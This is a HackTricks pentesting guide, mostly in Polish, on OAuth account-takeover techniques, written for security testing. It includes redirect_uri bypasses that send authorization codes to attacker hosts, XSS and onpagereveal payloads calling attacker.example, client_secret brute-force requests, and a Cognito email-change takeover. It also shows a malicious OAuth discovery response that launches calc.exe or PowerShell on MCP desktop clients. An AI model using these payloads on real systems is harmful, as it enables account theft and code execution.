OAuth to Account takeover
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.
Basic Information
OAuth oferuje różne wersje, z podstawowymi informacjami dostępnymi pod OAuth 2.0 documentation. Niniejsza dyskusja koncentruje się głównie na powszechnie stosowanym OAuth 2.0 authorization code grant type, dostarczając ramy autoryzacji, które pozwalają aplikacji uzyskać dostęp do konta użytkownika w innej aplikacji lub wykonywać na nim operacje (serwer autoryzacji).
Rozważ hipotetyczną stronę https://example.com, zaprojektowaną do prezentowania wszystkich Twoich postów z portali społecznościowych, łącznie z prywatnymi. Do tego celu użyto OAuth 2.0. https://example.com poprosi o Twoją zgodę na dostęp do Twoich postów z portali społecznościowych. W rezultacie na https://socialmedia.com pojawi się ekran zgody, przedstawiający żądane uprawnienia oraz dewelopera, który wysyła żądanie. Po udzieleniu zgody https://example.com uzyska możliwość dostępu do Twoich postów w Twoim imieniu.
It’s essential to grasp the following components within the OAuth 2.0 framework:
- resource owner: Ty, jako użytkownik/podmiot, udzielasz zgody na dostęp do swojego zasobu, np. postów na koncie w serwisie społecznościowym.
- resource server: Serwer obsługujący uwierzytelnione żądania po tym, jak aplikacja uzyska
access tokenw imieniuresource owner, np. https://socialmedia.com. - client application: Aplikacja ubiegająca się o autoryzację od
resource owner, na przykład https://example.com. - authorization server: Serwer wydający
access tokensklientowi (client application) po pomyślnej autoryzacji i uwierzytelnieniuresource owner, np. https://socialmedia.com. - client_id: Publiczny, unikalny identyfikator aplikacji.
- client_secret: Poufny klucz, znany wyłącznie aplikacji i serwerowi autoryzacji, używany do generowania
access_tokens. - response_type: Wartość określająca typ żądanego tokenu, np.
code. - scope: Poziom dostępu, o który
client applicationprosiresource owner. - redirect_uri: URL, na który użytkownik zostaje przekierowany po autoryzacji. Zazwyczaj musi być zgodny z wcześniej zarejestrowanym redirect URL.
- state: Parametr służący do przechowywania danych podczas przekierowań użytkownika do i z serwera autoryzacji. Jego unikalność jest kluczowa jako mechanizm ochrony przed CSRF.
- grant_type: Parametr określający typ przyznania (grant) i typ zwracanego tokenu.
- code: Kod autoryzacyjny od
authorization server, używany wraz zclient_idiclient_secretprzezclient applicationdo uzyskaniaaccess_token. - access_token: Token, którego
client applicationużywa do żądań API w imieniuresource owner. - refresh_token: Umożliwia aplikacji uzyskanie nowego
access_tokenbez ponownego proszenia użytkownika o zgodę.
Flow
The actual OAuth flow proceeds as follows:
- Przechodzisz na https://example.com i wybierasz przycisk „Integrate with Social Media”.
- Serwis wysyła żądanie do https://socialmedia.com, prosząc o Twoją autoryzację, aby aplikacja serwisu https://example.com mogła uzyskać dostęp do Twoich postów. Żądanie ma strukturę:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- Następnie wyświetlana jest strona zgody.
- Po Twojej akceptacji Social Media wysyła odpowiedź do
redirect_uriz parametramicodeistate:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com wykorzystuje ten
code, wraz ze swoimclient_idiclient_secret, aby wykonać po stronie serwera żądanie o uzyskanieaccess_tokenw Twoim imieniu, umożliwiając dostęp do uprawnień, na które wyraziłeś zgodę:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- W końcu proces kończy się, gdy https://example.com używa twojego
access_token, aby wykonać wywołanie API do Social Media, aby uzyskać dostęp do
Luki
Open redirect_uri
Per RFC 6749 §3.1.2, serwer autoryzacji musi przekierowywać przeglądarkę wyłącznie do pre-registered, exact redirect URIs. Każda słabość tutaj pozwala atakującemu skierować ofiarę przez złośliwy URL autoryzacyjny tak, że IdP dostarcza code (i state) ofiary bezpośrednio do endpointu atakującego, który może go następnie zrealizować i pozyskać tokeny.
Typowy przebieg ataku:
- Przygotuj
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbacki wyślij go ofierze. - Ofiara się uwierzytelnia i zatwierdza scopes.
- IdP przekierowuje do
attacker.tld/callback?code=<victim-code>&state=..., gdzie atakujący loguje żądanie i natychmiast wymieniacode.
Typowe błędy walidacji do sprawdzenia:
- No validation – akceptowany jest dowolny absolutny URL, co skutkuje natychmiastową kradzieżą kodu.
- Weak substring/regex checks on the host – obejście za pomocą lookalike’ów, takich jak
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, lubmatch.com@evil.com. - IDN homograph mismatches – walidacja zachodzi na formie punycode (
xn--), ale przeglądarka przekierowuje do domeny w Unicode kontrolowanej przez atakującego. - Arbitrary paths on an allowed host – skierowanie
redirect_urido/openredirect?next=https://attacker.tldlub dowolnego endpointu XSS/user-content leaks the code poprzez łańcuchy przekierowań, nagłówki Referer lub wstrzyknięty JavaScript. - Directory constraints without normalization – wzorce typu
/oauth/*można pominąć przez/oauth/../anything. - Wildcard subdomains – akceptowanie
*.example.comoznacza, że każde przejęcie (dangling DNS, S3 bucket, itp.) od razu daje ważny callback. - Non-HTTPS callbacks – przepuszczenie URI
http://daje sieciowym atakującym (Wi‑Fi, proxy korporacyjne) możliwość przechwycenia kodu w tranzycie.
Sprawdź także pomocnicze parametry w stylu redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, itd.) oraz dokument odkrywania OpenID (/.well-known/openid-configuration) pod kątem dodatkowych endpointów, które mogą odziedziczyć te same błędy walidacji.
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
Zablokowanie redirect_uri do „własnych/domen first-party” nie pomaga, jeśli którakolwiek z dozwolonych domen ujawnia ścieżki kontrolowane przez atakującego lub konteksty wykonania (legacy app platforms, user namespaces, CMS uploads, itp.). Jeśli flow OAuth/federated login returns tokens in the URL (query lub hash), atakujący może:
- Rozpocząć legalny flow, aby wygenerować pre-token (np.
etokenw wieloetapowym Accounts Center/FXAuth flow). - Wysłać ofierze URL autoryzacyjny, który ustawia dozwoloną domenę jako
redirect_uri/base_uri, ale kierujenext/ścieżkę do namespace’u kontrolowanego przez atakującego (np.https://apps.facebook.com/<attacker_app>). - Po zatwierdzeniu ofiary IdP przekierowuje do ścieżki kontrolowanej przez atakującego z wrażliwymi wartościami w URL (
token,blob, codes, itd.). - JavaScript na tej stronie odczytuje
window.locationi exfiltrates the values pomimo że domena jest „trusted.” - Odtworzyć przechwycone wartości przeciwko downstream privileged endpoints, które oczekują tokenów przekazywanych przez redirect. Przykłady z FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS w implementacji redirect
Jak wspomniano w tym raporcie bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html może być możliwe, że redirect URL jest odzwierciedlany w odpowiedzi serwera po uwierzytelnieniu użytkownika, będąc podatnym na XSS. Możliwy payload do przetestowania:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
OAuth callback error pages: reflected error_description, trusted-origin phishing, and encoded state leakage
Niektóre integracje OAuth używają first-party callback page do renderowania błędów logowania po tym, jak IdP przekieruje przeglądarkę z powrotem. Te strony mają dużą wartość, ponieważ już działają na trusted origin i często pobierają parametry kontrolowane przez atakującego, takie jak error, error_description, message, description lub state.
- Reflecting
error_descriptioninto HTML bez ścisłego output encoding zamienia callback w trusted-origin phishing page. Nawet gdy<script>jest filtrowany, wstrzyknięcie HTML może nadal sfałszować całą stronę błędu i nakłonić ofiarę do wykonania działań wybranych przez atakującego. - WAFs często wykrywają popularne handlery takie jak
onload/onerror. Gdy normalne payloady są blokowane, spróbuj specyficznych dla przeglądarki lub rzadkich eventów, których obrońcy mogą nie zablokować. Praktycznym przykładem jestonpagerevealw Safari, które może się wykonać, gdy złośliwa strona callback jest pokazana w Safari:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
- Test self-referential payloads: jeśli wstrzyknięte HTML/JS może ponownie otworzyć lub przeładować ten sam callback URL, może to spowodować client-side resource exhaustion, powtarzające się popupy/taby lub log flooding przy każdym renderze.
- Always decode opaque-looking
statevalues`. Wiele implementacji Base64-encoduje JSON lub metadata użytkownika i zakłada, że to jest „ukryte”. Base64 jest odwracalny, więc callback URL może leakować PII takie jak adresy email, identyfikatory tenantów, ścieżki powrotu lub wewnętrzny stan workflow. - Treat URL exposure as part of the bug: wszystko, co umieścisz w callback URL, może później pojawić się w historii przeglądarki, reverse proxy, load balancerach, logach aplikacji, narzędziach monitoringu, zrzutach ekranu oraz nagłówkach
Refererjeśli strona ładuje zasoby stron trzecich.
Szybkie kontrole podczas testów:
- Wywołaj zarówno success jak i failure OAuth callbacks i złap cały URL oraz renderowany HTML.
- Replayuj callback modyfikując
error_description,messagei podobne pola błędów zwykłym tekstem, HTML i payloadami event-handler. - Dekoduj
statejako Base64/URL-safe Base64 i sprawdź czy nie zawiera PII lub stanu aplikacji, który powinien pozostać po stronie serwera. - Powtórz payloady specyficzne dla przeglądarki w Safari/WebKit gdy WAF blokuje standardowe inline-event XSS probes.
CSRF - Improper handling of state parameter
Parametr state jest CSRF tokenem flow Authorization Code: klient musi wygenerować kryptograficznie losową wartość dla każdej instancji przeglądarki, przechować ją w miejscu czytelnym tylko dla tej przeglądarki (cookie, local storage, itp.), wysłać ją w żądaniu autoryzacji i odrzucić każdą odpowiedź, która nie zwraca tej samej wartości. Gdy wartość jest statyczna, przewidywalna, opcjonalna lub nie powiązana z sesją użytkownika, atakujący może dokończyć własny flow OAuth, przechwycić końcowe żądanie ?code= (bez wysyłania go), a później zmusić przeglądarkę ofiary do replayowania tego żądania, tak że konto ofiary zostanie powiązane z profilem IdP atakującego.
Wzorzec replayu jest zawsze ten sam:
- Atakujący uwierzytelnia się przeciwko IdP swoim kontem i przechwytuje ostatni redirect zawierający
code(i ewentualniestate). - Odrzuca to żądanie, zachowuje URL i później wykorzystuje dowolny CSRF primitive (link, iframe, auto-submitting form), by zmusić przeglądarkę ofiary do jego załadowania.
- Jeśli klient nie egzekwuje
state, aplikacja konsumuje rezultat autoryzacji atakującego i loguje atakującego do konta ofiary.
Praktyczna lista kontrolna dla obsługi state podczas testów:
- Missing
stateentirely – jeśli parametr nigdy się nie pojawia, cały login jest podatny na CSRF. statenot required – usuń go z początkowego żądania; jeśli IdP nadal wydaje kody, które klient akceptuje, obrona jest opt-in.- Returned
statenot validated – manipuluj wartością w odpowiedzi (Burp, MITM proxy). Akceptowanie niezgodnych wartości znaczy, że przechowywany token nigdy nie jest porównywany. - Predictable or purely data-driven
state– wiele aplikacji wkłada ścieżki redirect lub blob’y JSON dostatebez dodania entropii, co pozwala atakującym zgadnąć ważne wartości i replayować flow. Zawsze dołącz silną entropię przed zakodowaniem danych. statefixation – jeśli aplikacja pozwala użytkownikom dostarczyć wartośćstate(np. przez crafted authorization URLs) i ponownie jej używa w całym flow, atakujący może zablokować znaną wartość i używać jej wobec wielu ofiar.
PKCE może uzupełnić state (szczególnie dla public clients) poprzez powiązanie authorization code z code verifier, ale web clients nadal muszą śledzić state, by zapobiegać CSRF/cross-user/account-linking bugom.
Pre Account Takeover
- Without Email Verification on Account Creation: Atakujący mogą uprzednio utworzyć konto używając email ofiary. Jeśli ofiara później użyje third-party service do logowania, aplikacja może nieumyślnie powiązać konto third-party z wcześniej utworzonym kontem atakującego, prowadząc do nieautoryzowanego dostępu.
- Exploiting Lax OAuth Email Verification: Atakujący mogą wykorzystać OAuth serwisy, które nie weryfikują emaili, rejestrując konto i następnie zmieniając email konta na email ofiary. Ta metoda podobnie grozi nieautoryzowanym dostępem, analogicznie do pierwszego scenariusza, ale przez inny wektor ataku.
Disclosure of Secrets
client_id jest celowo publiczny, ale client_secret nigdy nie może być odzyskany przez end users. Authorization Code deployments, które osadzają secret w mobile APKs, desktop clients, or single-page apps de facto przekazują to poświadczenie każdemu, kto może pobrać paczkę. Zawsze sprawdzaj public clients poprzez:
- Rozpakowanie APK/IPA, instalera desktopowego lub Electron app i grepowanie w poszukiwaniu
client_secret, Base64 blobów dekodujących się do JSON lub hard-coded stringów OAuth endpoints. - Przegląd zbundlowanych plików konfiguracyjnych (plist, JSON, XML) lub zdekompilowanych stringów w poszukiwaniu credentials klienta.
Gdy atakujący wydobędzie secret, musi tylko ukraść dowolny authorization code ofiary (przez słaby redirect_uri, logi, itp.), żeby niezależnie uderzyć /token i wygenerować access/refresh tokens bez udziału legitnego app. Traktuj public/native clients jako niezdolne do przechowywania sekretów — powinny zamiast tego polegać na PKCE (RFC 7636), by udowodnić posiadanie per-instance code verifier zamiast statycznego secret. Podczas testów potwierdź, czy PKCE jest mandatory i czy backend faktycznie odrzuca token exchanges, które pomijają albo client_secret albo ważny code_verifier.
Client Secret Bruteforce
Możesz spróbować bruteforce the client_secret dostawcy usługi z identity provider, by próbować przejąć konta.
Żądanie do BF może wyglądać podobnie do:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
Gdy klient posiada code and state, jeśli ujawnią się one w location.href lub document.referrer i zostaną przekazane stronom trzecim, powoduje to leak. Dwa powtarzające się wzorce:
- Classic Referer leak: po przekierowaniu OAuth każda nawigacja, która zachowuje
?code=&state=w URL, umieści je w nagłówku Referer wysyłanym do CDN/analytics/ads. - Telemetry/analytics confused deputy: niektóre SDK (pixels/JS loggers) reagują na zdarzenia
postMessagei następnie wysyłają bieżącelocation.href/referrerdo backendowych API używając tokena dostarczonego w wiadomości. Jeśli możesz wstrzyknąć własny token w ten przepływ (np. przez kontrolowany przez atakującego postMessage relay), później możesz odczytać historię/logi żądań API SDK i odzyskać ofiary artefakty OAuth osadzone w tych żądaniach.
Access Token Stored in Browser History
Główną gwarancją Authorization Code grant jest to, że access tokens never reach the resource owner’s browser. Kiedy implementacje leak tokens po stronie klienta, nawet drobny błąd (XSS, Referer leak, proxy logging) prowadzi do natychmiastowego przejęcia konta. Zawsze sprawdź:
- Tokens in URLs – jeśli
access_tokenpojawi się w query/fragmencie, trafi do historii przeglądarki, logów serwera, analytics i nagłówków Referer wysyłanych do stron trzecich. - Tokens transiting untrusted middleboxes – zwracanie tokenów przez HTTP lub przez debugujące/korporacyjne proxy pozwala obserwatorom sieci przechwycić je bezpośrednio.
- Tokens stored in JavaScript state – React/Vue stores, globalne zmienne lub serializowane bloby JSON wystawiają tokeny dla każdego skryptu na originie (w tym XSS payloadów lub złośliwych rozszerzeń).
- Tokens persisted in Web Storage –
localStorage/sessionStorageprzechowują tokeny długo po wylogowaniu na współdzielonych urządzeniach i są dostępne dla skryptów.
Każde z tych odkryć zazwyczaj podnosi znaczenie inaczej „niskich” błędów (jak CSP bypass czy DOM XSS) do pełnego takeover API, ponieważ atakujący może po prostu odczytać i odtworzyć wycieknięty bearer token.
Everlasting Authorization Code
Authorization codes muszą być short-lived, single-use, and replay-aware. Przy ocenie flow złap code i:
- Test the lifetime – RFC 6749 rekomenduje minuty, nie godziny. Spróbuj zrealizować code po 5–10 minutach; jeśli nadal działa, okno ekspozycji dla każdego leaked code jest nadmierne.
- Test sequential reuse – wyślij ten sam
codedwa razy. Jeśli drugie żądanie zwróci kolejny token, atakujący mogą klonować sesje w nieskończoność. - Test concurrent redemption/race conditions – odpal dwa żądania token równolegle (Burp intruder, turbo intruder). Słabi issuersi czasem przyznają oba.
- Observe replay handling – próba ponownego użycia powinna nie tylko nie powieść się, ale też unieważnić wszelkie tokeny już wybite z tego code. W przeciwnym razie wykryty replay pozostawia aktywny pierwszy token atakującego.
Połączenie replay-friendly code z dowolnym redirect_uri lub bugiem logowania pozwala na utrwalony dostęp do konta nawet po tym, jak ofiara dokończy prawidłowe logowanie.
Authorization/Refresh Token not bound to client
Jeśli możesz zdobyć authorization code i redeem it for a different client/app, możesz przejąć inne konta. Testuj słabe wiązanie poprzez:
- Złapanie
codedla app A i wysłanie go do token endpoint app B; jeśli nadal otrzymasz token, audience binding jest złamane. - Próby użycia first-party token minting endpoints, które powinny być ograniczone do własnych client ID; jeśli akceptują arbitralne
state/app_idprzy jedynie walidacji code, faktycznie wykonujesz authorization-code swap, aby wybić uprzywilejowane first-party tokeny. - Sprawdzenie, czy client binding ignoruje nonce/redirect URI mismatches. Jeśli strona błędu nadal ładuje SDK, które logują
location.href, połącz z Referer/telemetry leaks, aby ukraść code i zrealizować je gdzie indziej.
Każdy endpoint, który wymienia code → token musi weryfikować issuing client, redirect URI oraz nonce; w przeciwnym razie skradziony code z dowolnej aplikacji można zeskalować do first-party access token.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
W tym bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ widać, że token, który AWS Cognito zwraca użytkownikowi może mieć wystarczające uprawnienia do nadpisania danych użytkownika. W związku z tym, jeśli możesz change the user email for a different user email, możesz być w stanie take over kont innych użytkowników.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
Aby uzyskać bardziej szczegółowe informacje o tym, jak nadużyć AWS Cognito, sprawdź AWS Cognito - Unauthenticated Enum Access.
Abusing other Apps tokens
Jak wspomniano w tym writeupie, przepływy OAuth, które oczekują otrzymania token (a nie kodu) mogą być podatne, jeśli nie sprawdzają, że token należy do aplikacji.
Dzieje się tak, ponieważ atakujący mógłby stworzyć aplikację wspierającą OAuth i logowanie za pomocą Facebook (na przykład) we własnej aplikacji. Następnie, gdy ofiara zaloguje się przez Facebook w aplikacji atakującego, atakujący mógłby uzyskać OAuth token użytkownika przyznany jego aplikacji i użyć go, aby zalogować się w aplikacji OAuth ofiary korzystając z tokenu użytkownika ofiary.
Caution
Dlatego, jeśli atakującemu uda się sprawić, że użytkownik uzyska dostęp do jego własnej aplikacji OAuth, będzie w stanie przejąć konto ofiary w aplikacjach, które oczekują token i nie sprawdzają, czy token został przyznany ich app ID.
Two links & cookie
Zgodnie z tym writeupem, możliwe było sprawienie, żeby ofiara otworzyła stronę z returnUrl wskazującym na host atakującego. Ta informacja byłaby zapisana w cookie (RU) i w kolejnym kroku prompt zapyta użytkownika, czy chce udzielić dostępu temu hostowi atakującego.
Aby ominąć ten prompt, możliwe było otwarcie zakładki aby zainicjować Oauth flow, która ustawiłaby to cookie RU używając returnUrl, zamknięcie zakładki zanim prompt zostanie pokazany i otwarcie nowej zakładki bez tej wartości. Wówczas prompt nie poinformuje o hoście atakującego, ale cookie będzie ustawione na niego, więc token zostanie wysłany do hosta atakującego w przekierowaniu.
Prompt Interaction Bypass
Jak wyjaśniono w tym wideo, niektóre implementacje OAuth pozwalają ustawić GET parameter prompt na None (&prompt=none) aby zapobiec wyświetlaniu użytkownikowi monitu o potwierdzenie przyznanego dostępu w webie, jeśli użytkownik jest już zalogowany na platformie.
response_mode
Jak wyjaśniono w tym wideo, możliwe jest podanie parametru response_mode aby określić, gdzie kod ma być dostarczony w finalnym URL:
response_mode=query-> Kod jest dostarczany w parametrze GET:?code=2397rf3gu93fresponse_mode=fragment-> Kod jest dostarczany w fragmencie URL:#code=2397rf3gu93fresponse_mode=form_post-> Kod jest dostarczany w POST formie w polu input o nazwiecodez wartościąresponse_mode=web_message-> Kod jest wysyłany w postMessage:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
OAuth consent/login dialogs są idealnymi celami dla clickjacking: jeśli można je osadzić w ramce, atakujący może nałożyć własne grafiki, ukryć prawdziwe przyciski i nakłonić użytkowników do zatwierdzenia niebezpiecznych scopes lub powiązania kont. Zbuduj PoC, które:
- Załadują IdP authorization URL wewnątrz
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Użyją absolutnego pozycjonowania/trików z opacity, aby wyrównać fałszywe przyciski z ukrytymi kontrolkami Allow/Approve.
- Opcjonalnie wstępnie wypełnią parametry (scopes, redirect URI), tak aby skradzione zatwierdzenie natychmiast przynosiło korzyść atakującemu.
Podczas testowania zweryfikuj, że strony IdP wysyłają X-Frame-Options: DENY/SAMEORIGIN lub restrykcyjną Content-Security-Policy: frame-ancestors 'none'. Jeśli żadna z nich nie występuje, zademonstruj ryzyko narzędziami takimi jak NCC Group’s clickjacking PoC generator i nagraj, jak łatwo ofiara autoryzuje aplikację atakującego. Dla dodatkowych pomysłów na payload zobacz Clickjacking.
OAuth ROPC flow - 2 FA bypass
Zgodnie z tym wpisem na blogu, jest to OAuth flow, który pozwala na logowanie do OAuth za pomocą username i password. Jeśli w tym prostym przepływie zostanie zwrócony token z dostępem do wszystkich akcji, które użytkownik może wykonać, wtedy możliwe jest ominięcie 2FA przy użyciu tego tokenu.
ATO on web page redirecting based on open redirect to referrer
Ten blogpost opisuje, jak można było wykorzystać open redirect oparty na wartości referrer do nadużycia OAuth umożliwiającego ATO. Atak przebiegał następująco:
- Ofiara wchodzi na stronę atakującego.
- Ofiara otwiera złośliwy link i opener rozpoczyna Google OAuth flow z
response_type=id_token,code&prompt=nonejako dodatkowymi parametrami, używając jako referrer strony atakującego. - W openerze, po tym jak provider autoryzuje ofiarę, odsyła ją z powrotem do wartości parametru
redirect_uri(strona ofiary) z kodem 30X, który nadal utrzymuje stronę atakującego w refererze. - Strona ofiary uruchamia open redirect bazując na referrerze, przekierowując użytkownika do strony atakującego; ponieważ
respose_typebyłoid_token,code, kod zostanie wysłany do atakującego w fragmencie URL, co pozwala mu przejąć konto użytkownika przez Google na stronie ofiary.
SSRFs parameters
Check this research For further details of this technique.
Dynamic Client Registration w OAuth działa jako mniej oczywisty, ale krytyczny wektor dla podatności bezpieczeństwa, szczególnie dla ataków typu SSRF. Ten endpoint pozwala serwerom OAuth otrzymywać szczegóły o aplikacjach klienckich, w tym wrażliwe URL-e, które mogą zostać wykorzystane.
Kluczowe punkty:
- Dynamic Client Registration jest często mapowany do
/registeri przyjmuje szczegóły takie jakclient_name,client_secret,redirect_urisoraz URL-e do logo lub JSON Web Key Sets (JWKs) za pomocą żądań POST. - Funkcja ta przestrzega specyfikacji zawartych w RFC7591 i OpenID Connect Registration 1.0, które zawierają parametry potencjalnie podatne na SSRF.
- Proces rejestracji może niechcący narażać serwery na SSRF na kilka sposobów:
logo_uri: URL do logo klienta, który serwer może pobrać, wywołując SSRF lub prowadząc do XSS, jeśli URL jest niewłaściwie obsłużony.jwks_uri: URL do dokumentu JWK klienta, który, jeśli jest złośliwie spreparowany, może spowodować, że serwer wykona wychodzące żądania do serwera kontrolowanego przez atakującego.sector_identifier_uri: Odnosi się do tablicy JSONredirect_uris, którą serwer może pobrać, tworząc okazję do SSRF.request_uris: Lista dozwolonych request URIs dla klienta, które mogą zostać wykorzystane, jeśli serwer pobiera te URI na początku procesu autoryzacji.
Strategia eksploatacji:
- SSRF można wywołać, rejestrując nowego klienta z złośliwymi URL-ami w parametrach takich jak
logo_uri,jwks_urilubsector_identifier_uri. - Choć bezpośrednia eksploatacja za pomocą
request_urismoże być ograniczona przez mechanizmy whitelist, dostarczenie wcześniej zarejestrowanego, kontrolowanego przez atakującegorequest_urimoże ułatwić SSRF podczas fazy autoryzacji.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
Badania dotyczące CVE-2025-6514 (dotyczące klientów mcp-remote takich jak Claude Desktop, Cursor czy Windsurf) pokazują, jak dynamiczne discovery OAuth staje się prymitywem RCE za każdym razem, gdy klient przekazuje metadata IdP bezpośrednio do systemu operacyjnego. Zdalny serwer MCP zwraca authorization_endpoint kontrolowany przez atakującego podczas wymiany discovery (/.well-known/openid-configuration lub dowolne metadata RPC). mcp-remote ≤0.1.15 następnie wywoływał systemowy handler URL (start, open, xdg-open, itd.) z dowolnym otrzymanym ciągiem, więc każdy schemat/ścieżka obsługiwana przez OS była wykonywana lokalnie.
Przebieg ataku
- Wskaż agentowi desktopowemu wrogi serwer MCP/OAuth (
npx mcp-remote https://evil). Agent otrzymuje401plus metadata. - Serwer odpowiada JSON-em takim jak:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- Klient uruchamia handler OS dla dostarczonego URI. Windows akceptuje payloads takie jak
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux akceptująfile:///Applications/Calculator.app/...lub nawet niestandardowe schemy takie jakcmd://bash -lc '<payload>', jeśli są zarejestrowane. - Ponieważ dzieje się to przed jakąkolwiek interakcją użytkownika, wystarczy skonfigurować klienta tak, by rozmawiał z serwerem atakującego, aby uzyskać wykonanie kodu.
Jak testować
- Skieruj test na dowolny desktop/agent obsługujący OAuth, który wykonuje discovery przez HTTP(S) i otwiera zwrócone endpoints lokalnie (Electron apps, CLI helpers, thick clients).
- Przechwyć lub hostuj odpowiedź discovery i zamień
authorization_endpoint,device_authorization_endpoint, lub podobne pola nafile://,cmd://, ścieżki UNC, lub inne niebezpieczne schemy. - Obserwuj, czy klient waliduje scheme/host. Brak walidacji skutkuje natychmiastowym wykonaniem w kontekście użytkownika i dowodzi istnienia luki.
- Powtórz z różnymi schemami, aby zmapować pełną powierzchnię ataku (np.
ms-excel:,data:text/html,, custom protocol handlers) i pokazać zasięg wieloplatformowy.
Race Conditions u dostawców OAuth
Jeśli platforma, którą testujesz, jest dostawcą OAuth read this to test for possible Race Conditions.
Mutable Claims Attack
W OAuth pole sub jednoznacznie identyfikuje użytkownika, ale jego format różni się w zależności od Authorization Server. Aby ujednolicić identyfikację użytkowników, niektórzy klienci używają emaili lub handle’y użytkowników. Jednakże jest to ryzykowne, ponieważ:
- Niektóre Authorization Server nie zapewniają, że te właściwości (np. email) pozostają niezmienne.
- W niektórych implementacjach — takich jak “Login with Microsoft” — klient polega na polu email, które jest user-controlled by the user in Entra ID i nie jest weryfikowane.
- Atakujący może to wykorzystać, tworząc własną organizację Azure AD (np. doyensectestorg) i używając jej do wykonania Microsoft login.
- Mimo że Object ID (przechowywane w sub) jest niezmienne i bezpieczne, poleganie na mutowalnym polu email może umożliwić account takeover (na przykład przejęcie konta takiego jak victim@gmail.com).
Client Confusion Attack
W Client Confusion Attack aplikacja używająca OAuth Implicit Flow nie weryfikuje, czy końcowy access token został wygenerowany konkretnie dla jej własnego Client ID. Atakujący tworzy publiczną stronę, która używa Google’s OAuth Implicit Flow, oszukując tysiące użytkowników, by się zalogowali, dzięki czemu zbiera access tokeny przeznaczone dla strony atakującego. Jeśli ci użytkownicy mają też konta na innej podatnej stronie, która nie weryfikuje Client ID tokena, atakujący może ponownie użyć zebranych tokenów, by podszyć się pod ofiary i przejąć ich konta.
Scope Upgrade Attack
Typ Authorization Code Grant angażuje bezpieczną komunikację server-to-server do przesyłania danych użytkownika. Jednak jeśli Authorization Server implicitnie ufa parametrze scope w Access Token Request (parametr nieokreślony w RFC), złośliwa aplikacja mogłaby zwiększyć uprawnienia authorization code, żądając wyższego scope. Po wygenerowaniu Access Token, Resource Server musi go zweryfikować: dla tokenów JWT oznacza to sprawdzenie podpisu JWT i wyodrębnienie danych takich jak client_id i scope, podczas gdy dla tokenów będących losowymi stringami serwer musi zapytać Authorization Server o szczegóły tokena.
Redirect Scheme Hijacking
W mobilnych implementacjach OAuth aplikacje używają custom URI schemes do odbierania redirectów z Authorization Codes. Jednak ponieważ wiele aplikacji może zarejestrować ten sam scheme na urządzeniu, założenie, że tylko legalny klient kontroluje redirect URI, zostaje złamane. Na Androidzie, na przykład, Intent URI takie jak com.example.app:// oauth jest przechwytywane na podstawie scheme i opcjonalnych filtrów zdefiniowanych w app’s intent-filter. Ponieważ Android’s intent resolution może być szeroki — szczególnie gdy określony jest tylko scheme — atakujący może zarejestrować złośliwą aplikację z odpowiednio dobranym intent filterem, by porwać authorization code. To może umożliwić account takeover albo poprzez interakcję użytkownika (gdy kilka aplikacji kwalifikuje się do obsługi intencji), albo poprzez techniki bypassu wykorzystujące nadmiernie specyficzne filtry, jak opisano w flowcharcie oceny Ostorlab.
Referencje
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Rapid7: CVE-2026-31381, CVE-2026-31382: Gainsight Assist Information Disclosure and Cross-Site Scripting (FIXED)
- MDN: Window
pagerevealevent
Tip
Ucz się i ćwicz AWS Hacking:
